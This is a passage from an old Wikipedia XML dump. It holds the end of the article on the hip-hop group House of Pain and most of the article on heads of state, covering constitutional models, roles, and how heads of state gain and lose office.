Their 1994 effort, [[Same As It Ever Was]], went gold with minimal airplay. Like [[Cypress Hill]] (who, with House of Pain were a part of the loosely affiliated [[Soul Assassins]] posse), they found Urban Radio airplay an increasingly closed path; the trio abruptly broke up in 1996 during the release of their third album, [[Truth Crushed To Earth Shall Rise Again]], which featured guest appearances by [[Brand Nubian]]'s [[Sadat X]], as well as rappers [[Divine Styler]] and Cockni O'Dire.

===Split, solo success and current affairs===
From this point on, the status of the group would seem to be in the past tense, though the members would continue their careers separately.  Ironically, [[Everlast]] would finally get multi-platinum solo fame in 1998, when his folk-&amp; blues-inflected [[Whitey Ford Sings the Blues]] album hit the charts; in 2000, a feud with rapper [[Eminem]] coincided with the gold-selling [[Eat At Whitey's]], which had songs like &quot;Black Jesus&quot; and &quot;Black Coffee&quot;, and featured a collaboration with [[Carlos Santana]]. Meanwhile, DJ Lethal became a founding member of [[Limp Bizkit]].  

After the sale of the Tommy Boy Records’ catalog of master tapes to Warner Bros. Music, Everlast left the label, signed with Island/Def Jam, and released the solo LP [[White Trash Beautiful]] in 2004.

Recently, [[Rhino Records]], a subdivision of Warner Music, has released a hits collection, [[Shamrocks &amp; Shenanigans]], with singles from Everlast’s early solo days, the House of Pain and his post-group solo efforts.  Recently released from Island, Everlast is recording for a new LP effort, due sometime in 2006.

===House of Pain's impact on the hip-hop world===
House of Pain was a pioneering group in furthering racial diversity within hip-hop's ranks.  It is observed, however, that with notable exceptions (i.e., [[Eminem]], [[Paul Wall]], [[Bubba Sparxx]]), many newer white rap acts find themselves in a de facto Alternative-Rock world that commercial radio is indifferent to (see [[MC Paul Barman]], [[Company Flow]], [[High and Mighty]], [[Cage]], [[Smut Peddlers]], [[El-P]], [[Kottonmouth Kings]], [[Aesop Rock]]). Thus in some social circles, ‘white rap’ has almost become a distinctive alternative subgenre on its own.

==Discography==
===Albums===
*''[[House of Pain (Fine Malt Lyrics)]]'' (1992)
*''[[Same As It Ever Was]]'' (1994)
*''[[Truth Crushed To Earth Shall Rise Again]]'' (1996)
*''[[Shamrocks &amp; Shenanigans]]'' [[Best Of inc.| Everlast solo efforts]] (2004)

===EPs and Singles===
*''[[Jump Around (single)]]'' (1992)
*''[[Who's the man? (single)]]'' (1993)
*''[[Shamrocks &amp; Shenanigans (single)]]'' (1994)
*''[[On Point (single)]]'' (1994)
*''[[Legend/Word Is Bond (EP)]]'' (1994)
*''[[Pass The Jinn (single)]]'' (1996)
*''[[Fed Up (single)]]'' (1996)

==Other Celtic Hip Hop Artists==
*[[Ashley MacIssac]]
*[[Black 47]]
*[[Emcee Lynx]]
*[[House of Pain]]
*[[Marxman]]
*[[Manau]]
*[[Seanchai &amp; the Unity Squad]]

==Trivia==
*'''House of Pain''' was also the name of a level in the [[computer game]] ''[[Doom]]''.  Which was nearly coincidentally released around the same year the single ''Jump Around'' was released.
*'''House of Pain''' is a phrase that [[Jim Cramer]] frequently uses on his televised show ''[[Mad Money]]'' to describe the situation of a person who has bought a stock that dropped substantially in value.
*'''House of Pain''' was also used to describe the Houston Astrodome during NFL games played by the Houston Oilers. This was during the days that Warren Moon was the quarterback, and the Oilers defense was a force to be reckoned with.  The Oilers since moved to Tennesse, and were briefly known as the Tennessee Oilers before changing their name to the Tennessee Titans.

==External links==
* [http://www.vh1.com/artists/az/house_of_pain/bio.jhtml House of Pain biography by All Music Guide's Stephen Thomas Erlewine]

[[Category:1990s music groups]]
[[Category:Rhythmic Top 40 acts|House of Pain]]
[[Category:American hip hop groups]]
[[Category:Celtic hip hop musicians]]

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  <page>
    <title>Head of state</title>
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      <text xml:space="preserve">[[Image:ac.thequeen.jpg|thumb|right|150px|[[Queen Elizabeth II]], is the Head of State of 16 countries including: [[the United Kingdom]], [[Canada]], [[Australia]], [[Jamaica]], [[New Zealand]], the [[Bahamas]], as well as crown colonies and overseas territories of the [[United Kingdom]].]]

[[Image:gloria_arroyo_with_bush.jpg|thumb|150px|The [[state visit]] of the [[President of the United States]] to the [[President of the Philippines]].]]

'''Head of state''' or '''chief of state''' is the generic term for the individual or collective office which serves as the chief public representative of monarchic or republican [[nation-state]], [[federation]], [[commonwealth]] or any other political [[state]]. His or her role generally includes personifying the continuity and legitimacy of the state and exercising the political powers, functions and duties granted to the head of state in the country's [[constitution]].

[[Charles de Gaulle]] described the role he envisaged for the French president when he wrote the modern French [[constitution]].  He said a head of state should embody &quot;the spirit of the nation&quot; to the nation itself and to the world: ''une certaine idée de la France'' (a certain idea about what France is). Today many countries expect their Head of State to embody national values in a similar fashion. 

==Constitutional models==
Different countries have different executive systems but in essence four major, generalizing categories can be distinguished: 
*the [[presidential system|presidential (or imperial) system]] in which the head of state is also the [[head of government]] and actively exercises executive power
*the [[semi-presidential system]] in which the head of state shares exercise of executive power with a head of government
*the parliamentary system in which the head of state possesses theoretical executive power but the exercise of this power is delegated to a head of government, and
*the non-executive head of state system in which the head of state does not hold any executive power and mainly plays a symbolic role on behalf of the state.

===Presidential system===
''Note: 'presidential' in this context does not automatically imply a [[president]] but any head of state –elected, hereditary, or dictatorial– who 'presides'. It is sometimes called the '''Imperial''' model, without regard for the monarchic title Emperor, rather referring to the luster.''

[[Image:Washington (3).jpg|thumb|200px|[[George Washington]], the first President of the United States, set the precedent for an executive head of state in republican governments.]]

Some constitutions or fundamental laws provide for a head of state who is not just ''in theory'' but ''in practice'' chief executive, operating separately from, and independent from, the legislature. This system is sometimes known as a ''presidential system'' because the government is answerable solely and exclusively to a 'presiding' activist head of state, and is selected by and on occasion dismissed by the head of state without reference to the legislature. It is notable that some presidential systems, while not providing for collective executive answerability to the legislature, may require legislative approval for individuals prior to their assumption of cabinet office and empower the legislature to remove a president from office (for example, in the [[United States]]). In this case the debate centres on the suitability of the individual for office, not a judgment on them when appointed, and does not involve the power to reject or approve proposed cabinet members ''en bloc'' so it is not ''answerability'' in the sense understood in a parliamentary system. 

Some presidential systems may also include a ''prime minister'' but as with the other ministers they are responsible to the President, not the legislature. In many such instances the office is of minimal political importance, sometimes even held by some administrative technocrat rather than a politician. A prime minister in a presidential system lacks the constitutional and political dominance of a prime minister in a parliamentary system and is often seen as simply a politically junior figure who may run the mechanics of government while allowing the President to set the broad national agenda. One could say that, whereas in parliamentary systems a prime minister may be master of his or her party and the government, prime ministers in presidential systems are usually the servants, with the head of state the master of the government who can hire and fire anyone, including the prime minister, at will. 

Presidential Systems of Governments are a notable feature of constitutions in the [[Americas]], notably the [[United States]]. Most presidents in the system are selected by democratic means (popular direct or indirect election, etc), however, like all other systems, the presidential model also encompasses people who become head of state by other means, notably through military dictatorship or [[coup d'état]], as seen in South American, Middle Eastern, and other presidential regimes. Some of the characteristics of a presidential system (ie. a strong dominant political figure with an executive answerable to them, not the legislature) can also be found among [[absolute monarchy|absolute monarchies]], [[constitutional monarchy|parliamentary monarchies]], and [[Communism|Communist]] regimes, but in most cases of dictatorship apply their stated Constitutional models in name only, and not in political theory or practise.

Modern presidential systems, most notably the United States, owe their origins to reactionism against the contemporary eighteenth century British constitutional model in existence at the time of the enactment of the [[Constitution of the United States]], in which the British monarch, while no longer an absolute ruler since the [[Magna Carta]], was still the dominant political force, and their government was not in a modern sense answerable to the legislature. This reaction consisted of shifting the centre of power away from the head of state/government and dispersing it amongst three branches of government (legislative, executive, and judicial) based on the model for [[separation of powers]] described by [[French Enlightenment]] writers (and to a lesser practical degree, and more symbolically in terms of nomenclature, inspired by the ancient Roman Republic), with the legislature (Congress) being the most powerful branch of the three. 

This separation entails decreased answerability of the executive to the legislature in terms of holding office, and greater dependence on popular opinion through non-parliamentary vote, with only a few extraordinary provisions for legislative impeachment. But it entails increased answerability in terms of legislation and governance, which is largely conducted or regulated without the executive's active participation, with provisions for executive veto that can also be overridden entirely, and is particularly enforced through legislative control of government budgets. Thus, modern presidential systems are a radical or &quot;revolutionary&quot; evolution from a head of state-centred executive system (a parliamentary-imperial system) to a legislature-oriented one (a parliamentary-presidential system), whereas many European states are the direct lineal successors of the ''Ancien régime'' governmental systems of eighteenth century Europe, and have experienced a more gradual shift in power from the executive to the legislature. It is worth noting, however, that many Parliamentary systems, such as Canada, retain an extremely powerful head of government. 

In the 1870s in the United States in the aftermath of the [[impeachment]] of President [[Andrew Johnson]] and his near removal from office it was speculated that the United States too would move from a presidential system to a semi-presidential or even parliamentary one, with the [[Speaker (politics)|Speaker]] of the [[House of Representatives]] becoming the real centre of government as a quasi-prime minister. This did not happen and the presidency, having been damaged by two late nineteenth century assassinations (Lincoln and Garfield) and one impeachment (Johnson), reasserted its political dominance by the early twentieth century through such figures as [[Theodore Roosevelt]] and [[Woodrow Wilson]].

===Semi-presidential systems===
[[image:Charles de Gaulle.jpg|frame|right|President [[Charles de Gaulle]] was responsible for establishing the semi-presidential system in France.]]
Semi-presidential systems combine features of Presidential and Parliamentary systems, notably a requirement that the government be answerable to ''both'' the President and the legislature. The Constitution of the current [[French Fifth Republic]] provides for a prime minister who is chosen by the President but who nevertheless must be able to gain support in the Chamber of Deputies. Where in France a president is of one side of the political spectrum and the opposition is in control of the legislature, the president is often forced to select someone from the opposition to become prime minister, a process known as ''[[Cohabitation (government)|Cohabitation]]''. President [[François Mitterrand]], a socialist, for example was forced to ''cohabit'' with the neo-gaullist (right wing) [[Jacques Chirac]], who became his prime minister for a time in the 1980s. 

In the French system, in the event of cohabitation, the President is often allowed to set the policy agenda in foreign affairs and the Prime Minister runs the domestic agenda. 

Other countries evolve into something akin to a semi-presidential system or indeed a full presidential system. [[Weimar Germany]], for example, in its constitution provided for a popularly elected president with theoretically dominant emergency powers that were only intended to be exercised in emergencies and a cabinet appointed by him from the [[Reichstag (institution)|Reichstag]] which was expected in normal circumstances to be answerable to the Reichstag. Initially the President was merely a symbolic figure with the Reichstag dominant. 

However long-term political instability (where governments were collapsing every couple of months) led to a change in the power structure of the Republic, with the President's emergency powers called increasingly into use to prop up governments challenged by critical or even hostile Reichstag votes. By 1932, power had shifted to such an extent that the German President, [[Paul von Hindenburg]], was able to dismiss a [[chancellor]] and select his own person for the job even though the outgoing chancellor possessed the confidence of the Reichstag while the new chancellor did not. Subsequently President von Hindenburg used his power to appoint [[Adolf Hitler]] as Reich chancellor without consulting the Reichstag.

===Parliamentary system===
In [[parliamentary system|parliamentary systems]] the head of state may be merely the ''nominal'' chief executive officer of the state, possessing theoretical executive power (hence the description of the [[United Kingdom]] [[monarch]]'s government as [[Her Majesty's Government]], a term indicating that the government is theoretically hers, not parliament's). In reality however, due to a process of constitutional evolution, powers are ''usually'' exercised by a [[cabinet (government)|cabinet]], presided over by a [[prime minister]] or ''President of the Government'' who is answerable to [[parliament]]. This answerability requires that someone be chosen from parliament who has parliament's support (or at least not parliament's opposition - a subtle but important difference). It also gives parliament the right to vote down the government, forcing it either to resign or seek a parliamentary dissolution. Governments are thus said to be ''responsible'' (ie, answerable) to parliament, with the government in turn accepting constitutional responsibility for offering constitutional [[Advice (constitutional)|Advice]] to the head of state.

In reality, numerous variants exist to the position of a head of state within a parliamentary system. The older the constitution, the more constitutional leeway may exist for a head of state to exercise greater powers over government, as many older parliamentary system constitutions in fact give heads of state powers and functions akin to presidential or semi-presidential systems, in some cases without containing reference to modern democratic principles of accountability to parliament or even to modern governmental offices. For example, the [[1848]] constitution of the [[Kingdom of Italy]] was sufficiently ambiguous and outdated by the 1920s to give King [[Victor Emmanuel III]] leeway to appoint [[Benito Mussolini]] to power in controversial circumstances. 

Some Commonwealth parliamentary systems combine a body of written constitutional law, unwritten constitutional precedent, [[Order-in-Council|Orders-in-Council]], [[Letters Patent|letters patent]], etc that may give a head of state or their representative additional powers in unexpected circumstances (eg. the dismissal of the [[Australia]]n prime minister, [[Gough Whitlam]] by [[Governor-General]] Sir [[John Kerr]].) 

Other examples of heads of state in parliamentary systems using greater powers than normal due either to ambiguous constitutions or unprecedented national emergencies, such as the decision by King [[Léopold III of Belgium|Léopold III of the Belgians]] to surrender on behalf of his state to the invading German army in 1940, against the will of his government. Judging that his responsibility to the nation by virtue of his coronation oath required him to act, he believed that his government's decision to fight rather than surrender was mistaken and would damage Belgium. (Leopold's decision proved highly controversial. After [[World War II]], Belgium voted on whether to allow him back on the throne. It did so, but because of the ongoing controversy he ultimately abdicated.)

===Non-executive heads of state===
[[Image:marymca.jpg|frame|left|[[Mary McAleese]], President of [[Ireland]], an example of a non-executive head of state.]]
 
A final category of head of state which could be loosely called the ''non-executive head of state'' model also exists. Its holders are excluded completely from the executive. In other words they do not possess even theoretical executive powers or any role, even formal, within the government. Hence their states' governments are not referred to by the traditional parliamentary model head of state [[Style (manner of address)|styles]] of ''His/Her Majesty's Government'' or ''His/Her Excellency's Government''. Within this general category, variants in terms of powers and functions may exist. The King of Sweden, since the passage of the modern Swedish constitution (the [[Instrument of Government]]) in the mid 1970s, no longer has any of the parliamentary system head of state functions that had previously belonged to Swedish kings. But he still receives formal cabinet briefings monthly in the Royal Palace. In contrast the only contact the Irish president has with the Irish government is through a formal briefing session given by the [[Taoiseach]] (prime minister) to the President. However she has no access to documentation and all access to ministers goes through the [[Department of An Taoiseach]] (prime minister's office). 

Examples of this category invariably date from the twentieth century. Some examples of this category are:
* the [[President of Ireland]]
* the [[Kings of Sweden|King of Sweden]] (since 1975)
* the [[President of the Federal Republic of Germany]]
* the [[Emperor of Japan]] (since 1947).

===Complications with categorisation===
While clear categories do exist, it is sometimes difficult to choose which category some individual heads of state belong to. Constitutional change in [[Liechtenstein]] in [[2003]] gave its head of state, the Prince, unprecedented constitutional powers including a veto over legislation and power in theory to dismiss the cabinet. It could be argued that the strengthening of the Prince's powers vis-a-vis the legislature has moved Liechtenstein into the ''semi-presidential'' category. Similarly the original powers given to the [[List of Presidents of Greece|Greek President]] under the 1974 Hellenic Republic constitution made Greece more akin to the French ''semi-presidential'' model. And the theoretical power of the British monarch to dismiss their government at will would suggest that the United Kingdom should belong to the ''semi-presidential'' category also. In reality the category to which each head of state-ship belongs is assessed not by theory but by practice. In practice no British monarch has forced a government from office since the early nineteenth century, while in reality the Greek Republic, even before the powers of the President of the Republic were curtailed, operated as a standard parliamentary system. Unless and until a Prince of Liechtenstein exercises the theoretical powers they now possess, the principality would still remain categorised as a ''parliamentary system''.

==Roles of the head of state==
Often depending on which constitutional category (above) a head of state belongs to, they may have some or all of the roles listed below, and various other ones. 

===Symbolic role===
[[Image:Saddam Hussein 4.jpg|thumb|left|200px|President [[Saddam Hussein]], whose portraits and statues could be found all over [[Iraq]], developed a personality cult.]]
As the above quote by Charles de Gaulle indicates, one of the most important roles of the modern head of state is being a living [[national symbol]] of the nation.

In many states official [[portrait]]s of the head of state can be found in government offices, courts of law, even airports, libraries, and other public buildings. The idea, sometimes regulated by law, is to use these portraits to make the public aware of the symbolic connection to the government, a practice that dates back to mediaeval times. Sometimes this practice is taken to excess, and the head of state begins to believe that he is the ''only'' symbol of the nation. A [[personality cult]] thus ensues, where the image of the head of state is the only visual representation of the country, surpassing other symbols such as the [[flag]], [[constitution]], [[founding fathers]], etc. A modern champion in this field was Adolf Hitler, the Nazi [[Führer]]; of course such a political technique can also be used by leaders without the formal rank of Head of state. Other common iconic presences, especially of monarchs, are on coins, stamps, banknotes.  More discrete variations see them represented by a mention and/or signature. Furthermore all kinds of things are called after heads of state, e.g. streets and squares, schools, charitable and other organisations; in monarchies there can even be a practice to attribute the adjective 'royal' on demand based on existence for a given number of years. 

In general the active duties amount to a ceremonial role. Thus in diplomatic affairs, heads of state are often the first person to greet an important foreign visitor. They may also assume a sort of informal &quot;host&quot; role during the VIP's visit, inviting the visitor to a state dinner at his or her mansion or palace, or some other equally hospitable affair. 

At home, they are expected to render luster to various occasions by their presence, such as by attending artistic or sports performances or competitions, expositions, celebrations, military parades and remembrances, prominent funerals, visiting parts of the country, enterprises, care facilities (often in a theatrical honour box, on a platform, on the front row, at the honours table etc.), sometimes performing a symbolic act such as cutting a ribbon or pushing a button at an opening, christening something with champagne, laying the first stone, and so on. Some parts of national life receive their regular attention, often on an annual basis, or even in the form of official patronage. 

As the potential for such invitations is enormous, such duties are often in part delegated: to such persons as a spouse, other members of the dynasty, or a vice-president, for whom this is often the core of their public role, or in other cases (possibly as a message, eg. to distance themselves without giving protocollary offence) just military or other aid.

For non-executive heads of state there is often a degree of censorship by the politically responsible government (e.g. Prime Minister), discretely approving agenda and speeches, especially where the constitution (or customary law) assumes all political responsibility by granting the crown inviolability (in fact also imposing political emasculation) as in the kingdom of Belgium from its very beginning; in a Monarchy this may even be extended to some degree to other members of the dynasty, especially the Heir to the throne.

===Chief diplomatic officer=== 
[[Image:lettercreed.jpg|framed|Russian Head of State and President [[Vladimir Putin]] receives the [[Letters of Credence]] from the French ambassador.]]
*The head of state ''accredits'' his or her country's [[Ambassador (diplomacy)|ambassador]]s, through sending formal [[Letter of Credence|Letters of Credence]] to other heads of state. Without that accreditation, an [[ambassador]] cannot take up a role and receive the highest diplomatic status. However there are provisions in international law to perform the same diplomatic functions, or at least part of them, such as accrediting with a lower title with the government, or functioning within 
*He or she ''receives'' Letters of Credence, sent by other heads of state accrediting ''his''/''her'' ambassador to the state. 
*He or she signs international treaties on behalf of the state, or has them signed in his/her name by ministers (government members or diplomats); subsequent [[ratification]], when necessary, usually rests with the [[legislature]]. 

::'''Example 1:''' Article 59 (1) of the [[Basic Law of the Federal Republic of Germany]] states - 
:::''The Federal President shall represent the Federation in its international relations. He shall conclude treaties with foreign states on behalf of the Federation. He shall accredit and receive envoys.''
::'''Example 2:''' Section 2, Article 81 of the [[Constitution of the People's Republic of China]] states - 
:::''The President of the People's Republic of China receives foreign diplomatic representatives on behalf of the People's Republic of China and, in pursuance of decisions of the Standing Committee of the National People's Congress, appoints and recalls plenipotentiary representatives abroad, and ratifies and abrogates treaties and important agreements concluded with foreign states.''

===Chief executive officer===
In the vast majority of states, whether republics or monarchies, [[executive branch|executive authority]] is vested, at least ''notionally'', in the head of state. In presidential systems the head of state is the actual, ''[[de facto]]'' chief executive officer. Under parliamentary systems the executive authority is ''theoretically'' exercised by the head of state but in practice exercised ''on the advice'' of the prime minister or cabinet. This produces such terms as ''Her Majesty's Government'' and ''His Excellency's Government''.  Examples of parliamentary systems in which the head of state is notional chief executive include [[Australia]], [[Austria]], [[Canada]], [[Denmark]], [[France]], [[Italy]] and the [[United Kingdom]]. The few exceptions include the [[Republic of Ireland]], where executive authority is explicitly vested in the cabinet, and [[Sweden]]. The head of state may also be described as ''commander-in-chief'' of the armed forces, although in parliamentary systems this is only a notional designation.

::'''Example 1 (presidential system):''' Article 2, Section 1 of the [[United States Constitution]] states:
:::''The executive Power shall be vested in a President of the United States of America.''

::'''Example 2 (Victorian era constitutional monarchy):''' Under Chapter II, Section 61 of the [[Commonwealth of Australia Constitution Act]] 1900:
:::''The executive power of the Commonwealth is vested in the Queen and is exercisable by the Governor-General as the Queen's representative, and extends to the execution and maintenance of this Constitution, and of the laws of the Commonwealth.''

::'''Example 3 (mid-20th century constitutional monarchy):''' According to Section 12 of the [[Constitution of Denmark]] 1953: 
:::''Subject to the limitations laid down in this Constitution Act the King shall have the supreme authority in all the affairs of the Realm, and he shall exercise such supreme authority through the Ministers.''

::'''Example 4 (modern republican parliamentary system):''' According to Article 26 (2) of the 1975 [[Constitution of Greece]]:
:::''The executive power shall be exercised by the President of the Republic and by the government.''

===Chief appointments officer===
*He or she appoints most or all the key officials in the state, including members of the cabinet, the prime minister (if there is one), key judicial figures and all major office holders. In most parliamentary systems the prime minister is appointed with the consent of the legislature, and other figures are appointed on the prime minister's advice. Some countries have exceptions - under Article 4 of the [[Constitution of Sweden|Instrument of Government]] 1974, the constitution of Sweden grants to the parliamentary speaker the role of formally appointing the prime minister. In practice, this decision is often a formality. The last time a [[United Kingdom]] monarch actually had a choice over who to pick to be prime minister occurred in 1963, when Queen [[Elizabeth II of the United Kingdom|Elizabeth II]] chose Sir [[Alec Douglas-Home]] to succeed [[Harold Macmillan]]. In presidential systems such as that of the United States, appointments are nominated by the president's sole discretion, and this nomination is often subject to parliamentary confirmation (in the case of the U.S., the [[U.S. Senate]] has to approve cabinet nominees and judicial appointments by simple majority).

*He or she may dismiss office-holders. In parliamentary systems, this is only done on the binding ''advice'' of another office-holder; for example, members of the Irish cabinet are dismissed by the [[President of Ireland]] ''on the advice'' of the Taoiseach (prime minister). In some instances, the head of state may be able to dismiss an office holder themselves. Many heads of state or their representatives have the ''theoretical power'' to dismiss any office-holder while it is exceptionally rarely used. Its use is sometimes controversial, such as when the Australian Governor-General dismissed the prime minister during the 1975 [[Australian constitutional crisis of 1975|Australian Constitutional Crisis]]. In [[France]], while the president cannot force the prime minister to tender the resignation of his government, he in practice can request it if the prime minister is from his own majority. In presidential systems, the president often has the power to fire ministers at his sole discretion. In the U.S., convention calls for cabinet secretaries to resign on their own initiative when called to do so.

::'''Example 1 (semi-presidential system):''' Chapter 4, Section 2 of the [[Constitution of the Republic of Korea]] states:
:::''The Prime Minister is appointed by the President with the consent of the National Assembly.''
::'''Example 2 (parliamentary system):''' Article 13.1.1 of the [[Constitution of Ireland]]:
:::''The President shall, on the nomination of Dáil Éireann [the lower house], appoint the Taoiseach [prime minister].''

===Legislative roles===
[[Image:Bushtaxcuts.jpg|right|framed|U.S. President [[George W. Bush]] signs a bill into law at a public ceremony. As Head of State, the President has several ways by which to use the ability to approve or veto a proposed bill, though if he directly vetoes the bill a [[supermajority]] can override it.]]

Most states require that all [[bill (proposed law)|bill]]s passed by the house or houses of the legislature be signed into law by the head of state. In some states, such as the United Kingdom, Belgium and the Republic of Ireland, the head of state is in fact formally considered a tier of parliament. In presidential systems the head of state often has power to veto a bill. In most parliamentary systems, however, the head of state cannot refuse to sign a bill, but may, in granting a bill their assent, nevertheless indicate that it was passed in accordance with the correct procedures. The signing of a bill into law is formally known as [[promulgation]].  Some [[Commonwealth of Nations]] states call this procedure [[Royal Assent]].
::'''Example 1 (presidential system):''' Article 1, Section 7 of the [[United States Constitution]] states:
:::''Every Bill which shall have passed the House of Representatives and the Senate, shall, before it become a Law, be presented to the President of the United States.''
::'''Example 2 (parliamentary system):''' Section 11.a.1. of the [[Basic Laws of Israel]] states:
:::''The President of the State shall sign every Law, other than a Law relating to its powers.''

In some parliamentary systems the head of state retains certain powers, in relation to bills, to be exercised at their discretion. They may have authority to:

*Veto a bill until the houses of the legislature have reconsidered it, and approved it a second time.
*Reserve a bill to be signed later, or suspend it indefinitely (generally in states with the Royal Prerogative; this power is rarely is used).
*Refer a bill to the courts to test its constitutionality (e.g. the [[President of Ireland]])
*Refer a bill to the people in a [[referendum]] (e.g. the President of Ireland may do so in certain circumstances).

If he is also chief executive, he can thus politically control the necessary executive measures without which a proclaimed law can remain dead letter, sometimes for years or even forever.

===Supreme commander of the military===
*A head of state is generally the notional or literal [[commander-in-chief]] of a state's [[armed forces]], holding the highest office in all military [[chain of command|chains of command]].  
&lt;!-- Unsourced image removed: [[Image:E II R in Uniform.JPG|right|frame|[[Queen Elizabeth II]], seen here in [[military uniform|uniform]] as [[Colonel-in-Chief]] of the [[Coldstream Guards]], is nominally Commander-in-Chief of the armed forces in each of her realms.]] --&gt;

'''Example:''' Article II, Section 2 of the [[United States Constitution]] states:
:::''The President shall be Commander in Chief of the Army and Navy of the United States, and of the Militia of the several States, when called into the actual Service of the United States.''

*In military dictatorships, or governments which have arisen from ''coups-de-état'', this position is obvious, as all authority in such a government derives from the application of military force; occasionally a power vacuum created by war is filled by a head of state stepping beyond its normal constitutional role, as [[King Albert I of the Belgians]] did during [[World War I]].

===Summoning and dissolving  the legislature=== 
*A head of state is often empowered to ''summon'' and ''dissolve'' the legislature. In most parliamentary systems, this is done on the advice of the prime minister or cabinet. In some parliamentary systems, and in some presidential systems, the head of state may do so on their own initiative. Some states, however, have fixed term parliaments, with no option of bringing forward elections (e.g. Article II, Section 3, of the [[U.S. Constitution]]). In other systems there are fixed terms, but the head of state retains authority to dissolve the legislature in certain circumstances. Where a prime minister has lost the confidence of parliament, some states allow the head of state to refuse a parliamentary dissolution, where one is requested, forcing the prime minister's resignation. 
::'''Example:''' Article 13.2.2. of the [[Constitution of Ireland]] states:
:::''The President may in absolute discretion refuse to dissolve [[Dáil Éireann]] on the advice of a Taoiseach [prime minister] who has ceased to retain the support of a majority in Dáil Éireann''

===Other prerogatives===
* Right of [[pardon]]
* Granting nobility, knighthood, various honours

==Selection and various types and styles of Heads of state==
Various Heads of State use a multitude of different styles and titles, often with many variations in content under diverse constitutions, even in a given state. In numerous cases, two or more of the following peculiar types apply, not counting the primary duo monarchy-republic.

In a monarchy, the [[monarch]] is the head of state.  This is a relatively recent phenomenon; until the last few decades a sovereign was seen as the personal embodiment of the state, and therefore could not be head of themselves (hence many constitutions from the [[19th Century]] and earlier make no mention of a &quot;head of state&quot;). Though some still maintain that calling a monarch head of state is incorrect, it has now become a widespread political convention to attach the label to monarchs.
The Emperor (Tennō) of Japan is defined as a symbol, not head, of state by the post-war constitution but is treated as a head of state under diplomatic protocol.

For the plethora of styles in monarchies, often rendered as [[monarch|King]] or [[Emperor]], but also many other, see [[Prince]], [[Princely state]] and [[Monarchy]].

In a [[republic]], the head of state is nowadays usually styled [[president]], but many have or had other titles and even specific constitutional positions (see below), and some have simply used 'Head of State' as their only formal title.

===Legitimacy &amp; Term in office===
The position of head of state (within or as well as the state) can be established in different ways, and based of different legitimations.
*''Force'' is often the true origin of power, but to keep the victor’s right, formal legitimacy must be found, even if by fictitious claim of continuity such as forged descent or legacy from a previous dynasty
*There have also been true cases of granting sovereignty, e.g. dynastic splits (not just by laws of succession, also by deliberate acts); this is usually forced, such as self-determination granted after nationalist revolts, or the last Attalid king of hellenistic Pergamon by testament leaving his realm to Rome (to avoid a desastrous conquest)
*Under [[theocracy]], divine status (as the Pharaoh's; compare [[divus]]) or 'heavenly mandate' (as in imperial China) can render earthly authority under [[divine law]], i.e. theoretically unchallengable; on the other hand, it can take the form of supreme divine authority above the state's, giving the priesthood that voices and interpretes it a tool for political influence, control or even dominance (thus Pharaoh Echnaton's reforms were undone by the Amun-priesthood after his death, possibly even elimination); often there is no clear model, so over time power can be disputed, as between Pope and Emperor in the [[Investiture]] conflict, as the temporal power seeks to guarantee its legitimation, including a formal ceremony during the coronation (such as [[unction]]; often crucial for popular support), by controlling key nominations in the clergy
*The notion of a social contract holds that the nation (the whole people, or just the electorate...) gives a mandate, as through acclamation or election

Individual Heads of state may acquire their position in a number of constitutional ways:
*The position of a Monarch is usually hereditary, but often with constitutional restrictions, or even considerable liberty for the incumbent or some body convening after his demise to chose from eligible members of the ruling house, often limited to legal descendents of the state religion or even parliamentary permission. There are rare exceptions to this, such as the [[Pope]]s, who nominate the cardinals who elect the next pope in [[conclave]]. The Pope is not just the head of the Roman Catholic Church (as such the 'Holy See' is diplomatically regognised), but is also Head of State of the [[Vatican City State]]. 
*Election usually is the constitutional way to choose the head of state of a republic, and some monarchies, either:
**directly: through popular election; this can be made a fiction under the formula of popular acclamation; the electorate can be very selective, such as the patrician families and/or the professional corporations of a city state, or by the warriors in the case of a 'tribal' type war chief or a Roman general proclaimed by his legions.
**indirectly: by members of the legislature or of a special college of [[electors]], either as an expression of general suffrage (as in the USA) or an exclusive prerogative (as the heads of states of constitutive monarchies in two modern federations: the [[UAE]] and [[Malaysia]]).
*a head of state can be entitled to designate his successor, such as [[Lord Protector of the Commonwealth]] Oliver Cromwell (succeeded by his son Richard )

A head of state may however seize power by force or revolution. This is not to be confused with the notion of an authoritarian or other totalitarian ruler, which rather concerns the oppressive nature of power once acquired, and therefore only applies if he is the true chief executive. Dictators often use democratic titles, though some proclaim themselves monarchs. Examples of the latter include Emperor [[Napoleon III of France]] and King [[Zog of Albania]]. [[Francisco Franco]], who adopted the formal title ''Jefe del Estado'', or Chief of State, and established himself as [[regent]] for a vacant monarchy. [[Idi Amin]] was one of several who made themselves [[President for Life]]. 

Another type of extraconstitutional imposition, often also changing the constitution, is by a foreign power (state or alliance), either benign or, more often, rather for its own interest, such as establishing a branch of their own or a friendly dynasty.

Apart from violent ousting, a head of state's position can also be lost in several ways:
*death (by natural causes, attentate, execution on the battlefield or other), even in case of an unlawful killing
*expiration of the term of office under various (nearly always republican and/or elective) constitutions
*abdication, which is legally a voluntary act (though it can be the result of overpowering political or other pressure); in some cases, an abdication cannot occur unilaterally, but comes into effect only when approved by an act of parliament (e.g. [[King Edward VIII]] of the United Kingdom)
*abolition of the post by constitutional change of the institutions (occasionally on the contrary, a transitory clause provides the last incumbent may end his term) or even ending the existince of the state as such
*while generally a head of state enjoys the widest form of inviolability, in some states the exceptions to this includes [[impeachment]], or a similar constitutional procedure by which the highest legislative and/or judicial authorities are empowered to revoke his mandate on exceptional grounds: this may be a common crime, a political sin, an act by which he violates such provisions as the established religion (which is mandatory for the Monarch)
*by similar procedure his original mandate may be declared invalid
*a referendum, either provided in the constitution or simply considered the sovereign will of the people
*if the state does not enjoy full and true sovereignty, he may be validly discarded by a protector or suzerain liege 
*serious violation of certain fundamental treaty obligations is sometimes considered a (disputable) valid reason for the relevant international community to depose a head of state, as the Security Council of the UN or certain alliances may do
*formal declaration of incapacity to rule, usually on such medical grounds as insanity or coma; this may either result in suspension (see below) or termination of his mandate

All ways of ending a head of state's term may carry a risk for the next incumbent, usually by contesting the validity of the procedure, but sometimes even after death in the case of pretenders.

===Absent and Substitute heads of state===
====Interim====
Whenever a head of state is not available for any reason, constitutional provisions may allow the role to fall temporarily to an assigned person or collective body. 
In a monarchy this is usually a [[regent]] or collegial regency, in a republic rather a vice-president, the legislature or its presiding officer, the chief of government.

====Delegation====
